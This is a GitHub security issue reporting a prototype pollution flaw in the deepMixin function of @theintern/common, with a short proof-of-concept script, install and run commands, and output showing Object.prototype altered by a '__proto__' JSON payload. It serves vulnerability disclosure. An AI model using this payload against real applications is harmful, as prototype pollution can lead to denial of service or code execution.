theintern / intern

A next-generation code testing stack for JavaScript.
https://theintern.io/
Other
4.36k stars 310 forks source link

[Security] Prototype Pollution #1184

Open ready-research opened 2 years ago

ready-research commented 2 years ago

@theintern/common is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE. Reported the same in https://www.huntr.dev/bounties/1625553948781-theintern/intern/

🕵️‍♂️ Proof of Concept 1.Create the following PoC file:

// poc.js
var common = require("@theintern/common")
const payload = JSON.parse('{"__proto__":{"polluted":"Yes! Its Polluted"}}');
var obj = {}
console.log("Before : " + {}.polluted);
common.deepMixin(obj, payload);
console.log("After : " + {}.polluted);

Execute the following commands in another terminal:

npm i @theintern/common # Install affected module
node poc.js #  Run the PoC

Check the Output:

Before : undefined
After : Yes! Its Polluted